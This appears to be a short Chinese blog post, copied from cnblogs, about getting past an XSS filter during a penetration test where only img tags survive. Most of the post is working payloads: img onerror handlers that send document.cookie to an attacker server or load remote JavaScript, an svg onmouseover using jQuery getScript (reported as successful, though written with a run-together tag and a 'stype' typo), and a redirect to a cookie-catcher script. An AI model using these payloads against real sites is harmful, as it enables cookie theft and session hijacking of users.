这次在对一个系统渗透测试过程中, 发现一个 XSS 漏洞, 可弹窗, 并且没有 httponly
但是在尝试加载远程 JS 文件的时候发现, script 标签被过滤掉了, 准确的说应该是服务器后端在识别到输入内容有 <> 的时候, 会把每对尖括号以及尖括号里面的内容都过滤掉, 唯独有一个特例, 就是 img 标签不会
在网上找了一些资料, 发现可以用 img 来加载远程 JS, 陆陆续续试过以下几个方法:
1.<img src=x onerror=document.body.appendChild(document.createElement('img')).src='//xxx.xxx/a?cookie='+document.cookie>
用这种方式是将 cookie 写入到自己搭建的服务器下的一个 txt 文件里, 这种方式能起作用, 但是没读到 cookie,so 失败了
2.<img src=x onerror=document.body.appendChild(document.createElement('script')).src='//xxx.xxx/a.js'>
这种方法也没成功, 有可能是因为其中包含有 script 关键字, so 失败了
3.<svgonmouseover="$.getScript`https://xxx/a.js`"stype="display:none">
最终成功加载到远程 JS 文件的 payload! 这种方法只要网站支持 jQuery 就可以这样子加载 JS 文件
这种方法有三个要素, 可以自由选择
- document.location="http://www.test.com/cookie_catcher.php?c="+document.cookie
- prompt(document.cookie)
- confirm(document.cookie)
来源: https://www.cnblogs.com/bingogo/p/11508370.html